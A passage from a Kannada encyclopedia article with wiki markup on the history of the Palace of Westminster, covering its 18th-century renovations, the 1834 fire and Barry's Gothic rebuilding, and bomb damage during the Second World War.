ಮಧ್ಯಯುಗದ ಸಭಾಂಗಣವಾಗಿತ್ತು. ಆಗ ೧೮೦೧ರಲ್ಲಿ ಸಂಸತ್ತಿನ ಮೇಲ್ಮನೆಯು ದೊಡ್ಡದಾದ ವೈಟ್ ಚೇಂಬರ್ ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತು. ಈ ಮೊದಲು ಇಲ್ಲಿ ಕೋರ್ಟ್ ಆಫ್ ರಿಕ್ವೆಸ್ಟ್ಸ್ ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿತ್ತು; ೧೮ನೇ ಶತಮಾನದಲ್ಲಿ ರಾಜ ಜಾರ್ಜ್ IIIರಿಂದ ವಿಸ್ತರಿಸಲ್ಪಟ್ಟ ವರಿಷ್ಠರ ವರ್ಗದ ಜೊತೆಯಲ್ಲಿ ಸನ್ನಿಹಿತ ಐರ್ಲೆಂಡ್ ನೊಂದಿಗೆ ಮೈತ್ರಿ ಒಪ್ಪಂದದ ಜೊತೆಯಲ್ಲಿ, ವರಿಷ್ಠರ ವರ್ಗವು ಅಧಿಕಗೊಂಡು ಸಭಾಂಗಣದಲ್ಲಿ ಸ್ಥಳದ ಕೊರತೆ ಉಂಟಾದಾಗ ಇದನ್ನು ಪ್ರಧಾನ ಕಚೇರಿಯನ್ನಾಗಿ ಮಾಡಿಕೊಳ್ಳಬೇಕೆಂಬ ಉದ್ದೇಶ ಈಡೇರಲಿಲ್ಲ. ತನ್ನದೇ ಆದ ಕೊಠಡಿಯನ್ನು ಹೊಂದಿರದಿದ್ದ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್, ಕೆಲವೊಂದು ಬಾರಿ ತನ್ನ ಚರ್ಚೆಗಳನ್ನು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅಬ್ಬೆಯ ಚ್ಯಾಪ್ಟರ್ ಹೌಸ್ ನಲ್ಲಿ ನಡೆಸುತ್ತಿತ್ತು. ಕಾಮನ್ಸ್ ಗಳು, ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ಚ್ಯಾಪಲ್ ನ ರೂಪದಲ್ಲಿ ಅರಮನೆಯಲ್ಲಿ ಒಂದು ಶಾಶ್ವತ ಕೊಠಡಿಯನ್ನು ಪಡೆದರು. ಇದು ಎಡ್ವರ್ಡ್ VIನ ಆಳ್ವಿಕೆಯಲ್ಲಿ ರಾಜಮನೆತನದ ಆಗಿನ ಖಾಸಗಿ ಪೂಜಾಮಂದಿರವಾಗಿತ್ತು. ಬಳಿಕ ೧೫೪೭ರಲ್ಲಿ ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ಕಾಲೇಜು ವಿಸರ್ಜನೆಯಾದ ನಂತರ ಕಟ್ಟಡವು ಕಾಮನ್ಸ್ ಗಳ ಬಳಕೆಗೆ ತೆರವುಗೊಂಡಿತು. ಕೆಳಮನೆಯ ಅನುಕೂಲಕ್ಕೆ ತಕ್ಕಂತೆ ಮೂರು ಶತಮಾನಗಳ ನಂತರ ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ಚ್ಯಾಪಲ್ ನ್ನು ನವೀಕರಣ ಮಾಡಲಾಯಿತು.ಇದು ಕ್ರಮೇಣ ಅದರ ಮೂಲವಾದ ಮಧ್ಯಯುಗದ ರೂಪ ಕಳೆದುಕೊಂಡಿತು. ಒಟ್ಟಾರೆಯಾಗಿ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯು ೧೮ನೇ ಶತಮಾನದಿಂದ ಮಹತ್ವದ ನವೀಕರಣಗಳಿಗೆ ಒಳಪಡತೊಡಗಿತು, ಸಂಸತ್ತು, ಸೀಮಿತ ಜಾಗ ಹಾಗು ಹಳೆಯದಾಗುತ್ತಿರುವ ಕಟ್ಟಡಗಳ ನವೀಕರಣಕ್ಕೆ ಭಾರಿ ಪ್ರಯತ್ನ ನಡೆಸಿತು. ಸಂಪೂರ್ಣವಾಗಿ ಹೊಸ ಅರಮನೆಯನ್ನು ನಿರ್ಮಿಸಬೇಕೆಂಬ ಸೂಚನೆಗೆ ಹೆಚ್ಚಿನ ಲಕ್ಷ್ಯ ನೀಡದೇ ಬದಲಿಗೆ ಹೆಚ್ಚಿನ ಕಟ್ಟಡಗಳನ್ನು ನಿರ್ಮಿಸಲಾಯಿತು. ಸೆಂಟ್ ಮಾರ್ಗರೆಟ್ ರಸ್ತೆಗೆ ಅಭಿಮುಖವಾಗಿ ಪಶ್ಚಿಮಕ್ಕೆ ಮುಖ ಮಾಡಿರುವ ಒಂದು ಹೊಸ ಕಟ್ಟಡವನ್ನು ೧೭೫೫ರಿಂದ ೧೭೭೦ರ ನಡುವೆ ಪಲ್ಲಡಿಯನ್ ಶೈಲಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾಯಿತು. ಇದು ದಾಖಲೆಗಳ ಸಂಗ್ರಹಕ್ಕೆ ಹಾಗು ಮಂಡಳಿಯ ಕೊಠಡಿಗಳಿಗೆ ಹೆಚ್ಚಿನ ಸ್ಥಳಾವಕಾಶ ಒದಗಿಸಿತು. ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಸ್ಪೀಕರ್ ಗೆ ಒಂದು ಹೊಸತಾದ ಅಧಿಕೃತ ನಿವಾಸವನ್ನು ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ಚ್ಯಾಪಲ್ ಗೆ ಹೊಂದಿಕೊಂಡಂತೆ ನಿರ್ಮಿಸಲಾಯಿತು, ಇದರ ನಿರ್ಮಾಣ ಕಾರ್ಯವು ೧೭೯೫ರಲ್ಲಿ ಪೂರ್ಣಗೊಂಡಿತು. ನವ್ಯ-ಗೋಥಿಕ್ ಶೈಲಿಯ ವಿನ್ಯಾಸಕಾರ ಜೇಮ್ಸ್ ವ್ಯಾಟ್ಟ್ ಸಹ ೧೭೯೯ ಹಾಗು ೧೮೦೧ರ ನಡುವೆ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಹಾಗು ಕಾಮನ್ಸ್ ನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸಲು ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ತರುವಾಯ ಅರಮನೆ ಸಂಕೀರ್ಣವನ್ನು ಮತ್ತೊಮ್ಮೆ ಮರುವಿನ್ಯಾಸಗೊಳಿಸಲಾಯಿತು. ಈ ಬಾರಿ ಇದರ ವಿನ್ಯಾಸವನ್ನು ೧೮೨೪ ಹಾಗು ೧೮೨೭ರ ನಡುವೆ ಸರ್ ಜಾನ್ ಸೋಯನೆ ಮಾಡಿದರು. ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಮಧ್ಯಕಾಲೀನ ಸದನದ ಕೊಠಡಿಯು ೧೬೦೫ರ ವಿಫಲ ಗನ್ಪೌಡರ್ ಪ್ಲಾಟ್ ಗೆ ಗುರಿಯಾಯಿತು. ಇದನ್ನು ಹೊಸತಾದ ರಾಯಲ್ ಗ್ಯಾಲರಿ ನಿರ್ಮಿಸುವ ಸಲುವಾಗಿ ನೆಲಸಮ ಮಾಡಲಾಯಿತು; ಹಾಗು ಅರಮನೆಯ ದಕ್ಷಿಣ ತುದಿಯಲ್ಲಿ ವಿಧ್ಯುಕ್ತವಾದ ಪ್ರವೇಶ ಕಲ್ಪಿಸಲಾಯಿತು. ಸೋಯನೆಯವರ ಅರಮನೆ ವಿನ್ಯಾಸವು, ಎರಡು ಸದನಗಳಿಗೆ ಹೊಸತಾದ ಗ್ರಂಥಾಲಯ ಸೌಲಭ್ಯ ಹಾಗು ಚ್ಯಾನ್ಸರಿ ಹಾಗು ಕಿಂಗ್ಸ್ ಬೆಂಚ್ ಗೆ ಹೊಸದಾದ ಕಾನೂನು ನ್ಯಾಯಾಲಯಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು. ಸೋಯನೆಯವರ ನವೀಕರಣಗಳು ವಿವಾದಗಳನ್ನು ಹುಟ್ಟುಹಾಕಿದವು, ಏಕೆಂದರೆ ಇವರು ನವ್ಯ ಕ್ಲ್ಯಾಸಿಕ್ ಶೈಲಿಯ ವಾಸ್ತು ವಿನ್ಯಾಸವನ್ನು ಬಳಕೆ ಮಾಡಿಕೊಂಡಿದ್ದರು; ಇದು ಮೂಲ ಕಟ್ಟಡಗಳ ಗೋಥಿಕ್ ಶೈಲಿಗೆ ವಿರುದ್ಧವಾಗಿತ್ತು. === ಬೆಂಕಿ ಅನಾಹುತ ಹಾಗು ಮರುನಿರ್ಮಾಣ === [[ಚಿತ್ರ:Turner-The Burning of the Houses of Lords and Commons.jpg|thumb|left|alt=Painting|ಜೆ.ಎಮ್. ಡಬ್ಲ್ಯೂ.ಟರ್ನರ್ 1834 ರ ಬೆಂಕಿ ಅನಾಹುತವನ್ನು ಗಮನಿಸಿದರು. ಅಲ್ಲದೇ ಸುಟ್ಟುಹೋಗುತ್ತಿದ್ದ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಮತ್ತು ಕಾಮನ್ಸ್ ಗಳನ್ನು(1835) ಒಳಗೊಂಡಂತೆ ಇದನ್ನು ಚಿತ್ರಿಸುವ ಅನೇಕ ತೈಲಚಿತ್ರಗಳನ್ನು ಬಿಡಿಸಿದರು.]] ಆಗ ೧೬ ಅಕ್ಟೋಬರ್ ೧೮೩೪ರಲ್ಲಿ, ರಾಜಭಂಡಾರದಲ್ಲಿದ್ದ ಎಣಿಕೆ ಕೋಲುಗಳ ಸಂಚಯವನ್ನು ನಾಶಪಡಿಸಲು ಇದ್ದಂತಹ ಒಲೆಯು ಹೆಚ್ಚು ಬಿಸಿಯಾಗಿ ಅರಮನೆಯಲ್ಲಿ ಬೆಂಕಿ ಕಾಣಿಸಿಕೊಂಡಿತು. ಇದು ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಕೊಠಡಿಯನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ನಾಶಪಡಿಸಿತು. ದಳ್ಳುರಿಯ ಪರಿಣಾಮವಾಗಿ ಅರಮನೆ ಸಂಕೀರ್ಣದಲ್ಲಿದ್ದ ಇತರ ಬಹುತೇಕ ಕಟ್ಟಡಗಳ ಜೊತೆಯಲ್ಲಿ ಸಂಸತ್ತಿನ ಎರಡೂ ಭವನಗಳು ನಾಶವಾದವು. ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್ ಇದರಿಂದ ಪಾರಾಯಿತು, ಇದಕ್ಕೆ ಕಾರಣವೆಂದರೆ ಬೆಂಕಿಯನ್ನು ನಂದಿಸಲು ಮಾಡಿದಂತಹ ವೀರೋಚಿತ ಪ್ರಯತ್ನ ಹಾಗು ಗಾಳಿಯ ದಿಕ್ಕು ಬದಲಾದ ಪರಿಣಾಮವಾಗಿತ್ತು. ಜ್ಯುವೆಲ್ ಟವರ್, ಅಂಡರ್ಕ್ರಾಫ್ಟ್ ಚ್ಯಾಪೆಲ್ ಹಾಗು ಸನ್ಯಾಸಿ ಗೃಹಗಳು ಹಾಗು ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ನ ಚ್ಯಾಪ್ಟರ್ ಭವನಗಳು ಮಾತ್ರ ಬೆಂಕಿಗಾಹುತಿಯಾದ ಅರಮನೆಯಲ್ಲಿ ಉಳಿದ ಭಾಗಗಳಾಗಿದ್ದವು.<ref>{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/architecture/palacestructure/great-fire/ |title=Architecture of the Palace: The Great Fire of 1834 |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ಬೆಂಕಿ ಹೊತ್ತಿಕೊಂಡ ತಕ್ಷಣವೇ, ರಾಜ ವಿಲ್ಲಿಯಮ್ VI, ಬಹುತೇಕವಾಗಿ ಪೂರ್ಣಗೊಂಡಿದ್ದ ಬಕಿಂಗ್ಹ್ಯಾಮ್ ಅರಮನೆಗೆ ಸ್ಥಳಾಂತರಗೊಳ್ಳುವ ಪ್ರಸ್ತಾಪವನ್ನು ಸಂಸತ್ತಿನ ಮುಂದಿಟ್ಟ, ಆತ ತನಗೆ ಇಷ್ಟವಿಲ್ಲದ ನಿವಾಸವನ್ನು ಅವರಿಗೆ ನೀಡಲು ಕಾತರನಾಗಿದ್ದ. ಈ ಕಟ್ಟಡವು ಸಂಸತ್ತಿನ ಬಳಕೆಗೆ ಅನರ್ಹವೆಂದು ಪರಿಗಣಿಸಲಾಯಿತು, ಆದಾಗ್ಯೂ ಈತನ ಕೊಡುಗೆಯನ್ನು ತಿರಸ್ಕರಿಸಲಾಯಿತು.<ref>ಜೋನ್ಸ್ (೧೯೮೩), p. ೭೭; ರೈಡಿಂಗ್ ಅಂಡ್ ರೈಡಿಂಗ್ (೨೦೦೦), p. ೧೦೦; ಪೋರ್ಟ್(೧೯೭೬), p. ೨೦.r</ref> ಚಾರಿಂಗ್ ಕ್ರಾಸ್ ಅಥವಾ ಸೆಂಟ್ ಜೇಮ್ಸ್ ಪಾರ್ಕ್ ಗೆ ಸಂಸತ್ತನ್ನು ಸ್ಥಳಾಂತರಗೊಳಿಸುವ ಪ್ರಸ್ತಾಪಗಳೂ ಸಹ ಇದೇ ರೀತಿಯಾಗಿ ತಿರಸ್ಕೃತಗೊಂಡವು; ಸಂಪ್ರದಾಯದ ಸೆಳೆತ ಹಾಗು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ನ ಐತಿಹಾಸಿಕ ಹಾಗು ರಾಜಕೀಯ ಸಂಯೋಜನೆಗಳು, ಆ ಪ್ರದೇಶದಲ್ಲಿದ್ದ ಕೊರತೆಗಳ ಹೊರತಾಗಿಯೂ ಮರು ಸ್ಥಳಾಂತರಕ್ಕೆ ಬಹಳ ಪ್ರಬಲವಾದುವೆಂದು ರುಜುವಾತಾಯಿತು.<ref>ರೈಡಿಂಗ್ ಅಂಡ್ ರೈಡಿಂಗ್ (೨೦೦೦), pp. ೧೦೮, ೧೧೧.</ref> ಅದೇ ಸಮಯದಲ್ಲಿ, ತಕ್ಷಣಕ್ಕೆ ಗಮನ ನೀಡಬೇಕಿದ್ದ ಆದ್ಯ ವಿಷಯವೆಂದರೆ ಮುಂದಿನ ಸಂಸತ್ತಿಗೆ ವಸತಿಯನ್ನು ಕಲ್ಪಿಸುವುದು, ಹಾಗು ಪೈನ್ಟೆಡ್ ಚೇಂಬರ್ ಹಾಗು ವೈಟ್ ಚೇಂಬರ್ ನ್ನು ತರಾತುರಿಯಲ್ಲಿ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಹಾಗು ಕಾಮನ್ಸ್ ಗಳ ತಾತ್ಕಾಲಿಕ ಬಳಕೆಗೆ ದುರಸ್ತಿ ಮಾಡಲಾಯಿತು.ಇದನ್ನು ವಿನ್ಯಾಸಗಾರ ಮಂಡಳಿಯಲ್ಲಿ ಜೀವಿತವಾಗಿದ್ದ ಏಕೈಕ ವಾಸ್ತುಶಿಲ್ಪಿ ಸರ್ ರಾಬರ್ಟ್ ಸ್ಮಿರ್ಕೆಯವರ ಮಾರ್ಗದರ್ಶನದಲ್ಲಿ ಮಾಡಲಾಯಿತು. ನಿರ್ಮಾಣಕಾರ್ಯವು ತ್ವರಿತ ಗತಿಯಲ್ಲಿ ಸಾಗಿತು, ಹಾಗು ಕೊಠಡಿಗಳು ಫೆಬ್ರವರಿ ೧೮೩೫ರ ಹೊತ್ತಿಗೆ ಬಳಕೆಗೆ ಸಿದ್ಧವಾದವು.<ref>ಜೋನ್ಸ್ (೧೯೮೩), pp. ೭೭–೭೮; ಪೋರ್ಟ್ (೧೯೭೬), p. ೨೦.</ref> ಒಂದು ರಾಜವಂಶದ ನಿಯೋಗವನ್ನು ಅರಮನೆಯ ಮರುನಿರ್ಮಾಣದ ಬಗ್ಗೆ ಅಧ್ಯಯನ ನಡೆಸಲು ನಿಯೋಜಿಸಲಾಗಿತ್ತು; ಹಾಗು ಪ್ರಸ್ತಾಪನೆಯಾದ ಶೈಲಿಗಳ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕವಾಗಿ ಬಿಸಿಬಿಸಿ ಚರ್ಚೆಗಳೂ ನಡೆದವು. ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ [[ಶ್ವೇತ ಭವನ]] ಹಾಗು ಫೆಡರಲ್ ಕ್ಯಾಪಿಟಲ್ ನ ಮಾದರಿಯಾದ ನವ್ಯ-ಕ್ಲ್ಯಾಸಿಕಲ್ ಪ್ರಸ್ತಾಪವು, ಆ ಅವಧಿಯಲ್ಲಿ ಬಹಳ ಜನಪ್ರಿಯವಾಗಿತ್ತು, ಹಾಗು ಸೋಯನೆ ಹಳೆ ಅರಮನೆಯ ವಿನ್ಯಾಸದಲ್ಲಿ ಇದನ್ನು ಈಗಾಗಲೇ ಬಳಸಿದ್ದರು.ಆದರೆ ಕ್ರಾಂತಿ ಹಾಗು ಗಣತಂತ್ರವಾದದ ಬಗ್ಗೆ ಸೂಚಿತಾರ್ಥವನ್ನು ನೀಡಿದವು.ಆದರೆ ಇದು ಗೋಥಿಕ್ ಶೈಲಿಯು ಸಾಂಪ್ರದಾಯಿಕ ಮೌಲ್ಯಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು. ನಿಯೋಗವು ಜೂನ್ ೧೮೩೫ರಲ್ಲಿ "ಕಟ್ಟಡದ ಶೈಲಿಯು ಗೋಥಿಕ್ ಅಥವಾ ಎಲಿಜಬಥನ್" ಆಗಿರುತ್ತದೆಂದು ಪ್ರಕಟಿಸಿತು.<ref>{{Cite journal |last=Watkin |first=David |authorlink=David Watkin (historian) |date=Summer 1998 |title=An Eloquent Sermon in Stone |journal=City Journal |volume=8 |issue=3 |issn=1060-8540 |url=http://www.city-journal.org/html/8_3_urbanities-an_eloquent.html |accessdate=25 October 2010}}</ref> ರಾಜವಂಶದ ಆಯೋಗವು, ವಿನ್ಯಾಸಕಾರರು ಈ ಮೂಲ ಮಾನದಂಡಗಳನ್ನು ಆಧರಿಸಿ ಪ್ರಸ್ತಾವನೆಗಳನ್ನು ಸಲ್ಲಿಸಲು ಅವಕಾಶ ನೀಡಲು ನಿರ್ಧರಿಸಿತು. [[ಚಿತ್ರ:Sir Charles Barry by John Prescott Knight.jpg|thumb|upright|alt=Portrait of Sir Charles Barry|ಸರ್ ಚಾರ್ಲ್ಸ್ ಬ್ಯಾರಿ ಹೊಸ ಹೌಸ್ ಆಫ್ ಪಾರ್ಲಿಮೆಂಟ್ ನ ಯಶಸ್ವಿ ಮಾದರಿಯನ್ನು ಯೋಜಿಸಿದರು. ಅಲ್ಲದೇ 1860 ರಲ್ಲಿ ಅವರು ಸಾವನಪ್ಪುವವರೆಗೂ ನಿರ್ಮಾಣದ ಮೇಲ್ವಿಚಾರಣೆಯನ್ನು ನೋಡಿಕೊಂಡರು.]] ಹೀಗೆ ೧೮೩೬ರಲ್ಲಿ, ೯೭ ಪ್ರತಿಸ್ಪರ್ಧಿ ಪ್ರಸ್ತಾಪಗಳ ಅಧ್ಯಯನ ನಡೆಸಿದ ನಂತರ, ರಾಜವಂಶದ ಆಯೋಗವು ಚಾರ್ಲ್ಸ್ ಬ್ಯಾರಿಯವರ ಗೋಥಿಕ್-ಶೈಲಿಯ ಅರಮನೆ ವಿನ್ಯಾಸವನ್ನು ಆಯ್ಕೆ ಮಾಡಿತು. ಕಟ್ಟಡಕ್ಕೆ ೧೮೪೦ರಲ್ಲಿ ಶಂಕುಸ್ಥಾಪನೆಯನ್ನು ಮಾಡಲಾಯಿತು; <ref>{{Cite web |url=http://www.bbc.co.uk/history/trail/church_state/westminster_later/westminster_new_palace_02.shtml |title=Westminster: A New Palace for a New Age |last=Riding |first=Christine |date=7 February 2005 |publisher=BBC |accessdate=27 December 2009}}</ref>ಲಾರ್ಡ್ಸ್ ಗಳ ಕೊಠಡಿನಿರ್ಮಾಣವನ್ನು ೧೮೪೭ರಲ್ಲಿ ಪೂರ್ಣಗೊಳಿಸಲಾಯಿತು; ಹಾಗು ಕಾಮನ್ಸ್ ಗಳ ಕೊಠಡಿಯನ್ನು ೧೮೫೨ರಲ್ಲಿ ಪೂರ್ಣಗೊಳಿಸಲಾಯಿತು.(ಈ ಹಂತದಲ್ಲಿ ಬ್ಯಾರಿ ನೈಟ್ ಹುಡ್ ಬಿರುದಿಗೆ ಭಾಜನರಾದರು). ಆದಾಗ್ಯೂ ೧೮೬೦ರ ಹೊತ್ತಿಗೆ ಬಹುತೇಕ ಕಟ್ಟಡದ ಕೆಲಸವು ಪೂರ್ಣಗೊಂಡಿತು, ಆದರೆ ನಿರ್ಮಾಣಕಾರ್ಯವು ಒಂದು ದಶಕದ ನಂತರದವರೆಗೂ ಪೂರ್ಣಗೊಳ್ಳಲಿಲ್ಲ. ಬ್ಯಾರಿಯವರ ವಾಸ್ತುಶೈಲಿಯು ಗೋಥಿಕ್ ಶೈಲಿಗಿಂತ ಹೆಚ್ಚು ನವೀನ,ಕ್ಲ್ಯಾಸಿಕಲ್ ಆಗಿತ್ತು, ಇವರು ಹೊಸ ಅರಮನೆಯನ್ನು ಸಮಸೂತ್ರತೆಯ ನವ್ಯ-ಕ್ಲ್ಯಾಸಿಕಲ್ ಸೈದ್ಧಾಂತಿಕ ತತ್ವದ ಆಧಾರದ ಮೇಲೆ ನಿರ್ಮಿಸಿದ್ದರು. ಅದ್ಧೂರಿಯಾದ ಹಾಗು ವಿಶಿಷ್ಟವಾದ ಗೋಥಿಕ್ ಒಳಾಂಗಣ ವಿನ್ಯಾಸಕ್ಕೆ ಅವರು ಅಗಸ್ಟಸ್ ಪುಗಿನ್ ರನ್ನು ಹೆಚ್ಚು ಅವಲಂಬಿಸಿದ್ದರು. ಇದರಲ್ಲಿ ಭಿತ್ತಿಚಿತ್ರಗಳು, ಕೆತ್ತನೆಗಳು, ಬಣ್ಣಲೇಪಿತ ಗಾಜುಗಳು, ನೆಲದ ಟೈಲ್ಸ್,(ನೆಲದ ಕಲ್ಲುಹಾಸುಗಳು) ಲೋಹದ ಕೆಲಸ ಹಾಗು ಮರಗೆಲಸಗಳು ಸೇರಿವೆ. === ಇತ್ತೀಚಿನ ಇತಿಹಾಸ === ಎರಡನೇ ವಿಶ್ವ ಸಮರದ ಸಮಯದಲ್ಲಿ ಲಂಡನ್ ಮೇಲೆ ಜರ್ಮನ್ನರು ನಡೆಸಿದ ಬಾಂಬ್ ದಾಳಿಯ ನಡುವೆ (''ದಿ ಬ್ಲಿಟ್ಜ್ ವಿಭಾಗವನ್ನು ನೋಡಿ'' ), ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಮೇಲೆ ಪ್ರತ್ಯೇಕ ಸಂದರ್ಭಗಳಲ್ಲಿ ಹದಿನಾಲ್ಕು ಬಾಂಬ್ ದಾಳಿ ನಡೆಯಿತು. ಒಂದು ಬಾಂಬ್ ಹಳೆ ಅರಮನೆಯ ಅಂಗಳದಲ್ಲಿ ೨೬ ಸೆಪ್ಟೆಂಬರ್ ೧೯೪೦ರಲ್ಲಿ ನಡೆಯಿತು, ಹಾಗು ಇದು ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ದ್ವಾರಮಂಟಪದ ದಕ್ಷಿಣ ದಿಕ್ಕಿನ ಗೋಡೆಗೆ ಹಾಗು ಪಶ್ಚಿಮ ಮುಂಭಾಗಕ್ಕೆ ತೀವ್ರತರ ಹಾನಿಯನ್ನುಂಟುಮಾಡಿತು.<ref name="Bomb damage">{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/architecture/palacestructure/bomb-damage/ |title=Architecture of the Palace: Bomb damage |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ರಿಚರ್ಡ್ ದಿ ಲಯನ್ ಹಾರ್ಟ್ ನ ಪ್ರತಿಮೆಯು ಬಾಂಬ್ ಬಿದ್ದ ರಭಸಕ್ಕೆ ಅದರ ತಳಪಾಯದಿಂದ ಕಿತ್ತು ಬಂತು, ಹಾಗು ಇದರ ಮೇಲೆಕ್ಕೆತ್ತಿದ್ದ ಕತ್ತಿಯು ಬಾಗಿ ತಲೆಕೆಳಗಾಯಿತು, ಈ ಪ್ರತಿಮೆಯನ್ನು ಪ್ರಜಾಪ್ರಭುತ್ವದ ಬಲದ ಸಂಕೇತವಾಗಿ ಬಳಸಲಾಗುತ್ತಿತ್ತು, "ಇದು ಆಕ್ರಮಣದ ವೇಳೆಯಲ್ಲಿ ಬಾಗಿತ್ತೇ ಹೊರತು ಛಿದ್ರಗೊಂಡಿರಲಿಲ್ಲ".<ref>{{Cite web |url=http://www.flickr.com/photos/uk_parliament/3768088819/in/set-72157621747072869/ |title=Richard I statue: Second World War damage |publisher=UK Parliament |accessdate=27 December 2009}}</ref> ಮತ್ತೊಂದು ಬಾಂಬ್ ಬಹುತೇಕ ಸನ್ಯಾಸಿ ಗೃಹಗಳನ್ನು ಡಿಸೆಂಬರ್ ೮ರಂದು ನಾಶಮಾಡಿತು.<ref name="Bomb damage"/> ಅತ್ಯಂತ ವಿನಾಶಕಾರಿ ಬಾಂಬ್ ದಾಳಿಯು ೧೯೪೧ರ ಮೇ ೧೦/೧೧ರ ರಾತ್ರಿ ನಡೆಯಿತು. ಈ ಬಾರಿ ಅರಮನೆಗೆ ಕಡೆ ಪಕ್ಷ ಹನ್ನೆರಡು ಬಾಂಬ್ ಗಳು ಬಿದ್ದವಲ್ಲದೇ ಮೂವರು ಸಾವನ್ನಪ್ಪಿದರು.<ref name="Fell, p. 27">ಫೆಲ್ ಅಂಡ ಮೆಕೆಂಜೆ(೧೯೯೪), p. ೨೭.</ref> ಅಗ್ನಿಸ್ಪರ್ಶ ಮಾಡುವ ಒಂದು ಬಾಂಬ್ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಕೊಠಡಿಗೆ ಬಿದ್ದು ಅದು ಬೆಂಕಿಗಾಹುತಿಯಾಯಿತು; ಮತ್ತೊಂದು ಬಾಂಬ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್ ನ ಮೇಲ್ಚಾವಣಿಗೆ ಬಿದ್ದು ಅದು ಹೊತ್ತಿ ಉರಿಯಿತು. ಎರಡನ್ನೂ ನಂದಿಸುವ ಅಗ್ನಿಶಾಮಕ ದಳದ ಪ್ರಯತ್ನ ವಿಫಲವಾಯಿತು, ಹೀಗೆ ಭವನವನ್ನು ಉಳಿಸುವ ನಿರ್ಧಾರ ತೆಗೆದುಕೊಳ್ಳಲಾಯಿತು.<ref>ಫೀಲ್ಡ್ (೨೦೦೨), p. ೨೫೯.</ref> ಈ ಹಂತದಲ್ಲಿ ಅಗ್ನಿಶಾಮಕ ದಳವು ಯಶಸ್ವಿಯಾಯಿತು; ಮತ್ತೊಂದು ಕಡೆಯಲ್ಲಿ ಸಂಪೂರ್ಣವಾಗಿ ಕೈಬಿಡಲಾಗಿದ್ದ ಕಾಮನ್ಸ್ ಕೊಠಡಿಯು ನಾಶಗೊಂಡಿತು, ಏಕೆಂದರೆ ಇದರ ಸದಸ್ಯರು ಹೆಚ್ಚಿನ ಭಾಗ ಕೇವಲ ಲಾಬಿಯಲ್ಲಿ ತೊಡಗಿದ್ದರು.<ref>{{Cite web |url=http://www.flickr.com/photos/uk_parliament/2713947202/ |title=Bombed House of Commons 1941 |author=UK Parliament |work=[[Flickr]] |accessdate=5 August 2010}}</ref> ಒಂದು ಬಾಂಬ್ ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಗೂ ಸಹ ಬಿದ್ದಿತು, ಆದರೆ ನೆಲದ ಮೂಲಕ ಹಾದು ಹೋಗಿ ಬಿತ್ತೇ ಹೊರತು ಸ್ಫೋಟಗೊಳ್ಳಲಿಲ್ಲ. ಗಡಿಯಾರದ ಗೋಪುರಕ್ಕೆ ಒಂದು ಸಣ್ಣ ಬಾಂಬ್ ಅಥವಾ ವಿಮಾನನಿರೋಧಕ ಚಿಕ್ಕ ಬಾಂಬ್ ನ್ನು ಮೇಲ್ಭಾಗದ ಸೂರಿನ ಮೇಲೆ ಎಸೆಯಲಾಗಿತ್ತು, ಈ ಭಾಗಕ್ಕೆ ಹೆಚ್ಚಿನ ಹಾನಿ ಉಂಟಾಯಿತು. ದಕ್ಷಿಣ ದಿಕ್ಕಿನಲ್ಲಿದ್ದ ಗಡಿಯಾರದ ಮುಖಬಿಲ್ಲೆಯ ಎಲ್ಲ ಗಾಜುಗಳು ಪುಡಿಪುಡಿಯಾದವು, ಆದರೆ ಮುಳ್ಳುಗಳು ಹಾಗು ಗಂಟೆಗಳಿಗೆ ಯಾವುದೇ ಹಾನಿ ಉಂಟಾಗಿರಲಿಲ್ಲ.ಅಲ್ಲದೇ ಬೃಹತ್ ಗಡಿಯಾರವು ನಿಖರ ಸಮಯ ತೋರುವುದನ್ನು ಮುಂದುವರೆಸಿತು.<ref name="Fell, p. 27"/> ಕಾಮನ್ಸ್ ಕೊಠಡಿಯ ಹಾನಿಯ ನಂತರ, ಲಾರ್ಡ್ಸ್ ಗಳು ತಾವು ಸಭೆಗೆ ಬಳಸುತ್ತಿದ್ದ ಕೊಠಡಿಯನ್ನೇ ಉಪಯೋಗಿಸಬೇಕೆಂದು ಅವರಿಗೆ ಆಹ್ವಾನವಿತ್ತರು; ತಾವುಗಳು ನಡೆಸುವ ಸಭೆಗಾಗಿ ರಾಣಿಯ ವಸ್ತ್ರಾಲಂಕಾರ ಕೋಣೆಯನ್ನು ತಾತ್ಕಾಲಿಕ ಕೊಠಡಿಯನ್ನಾಗಿ 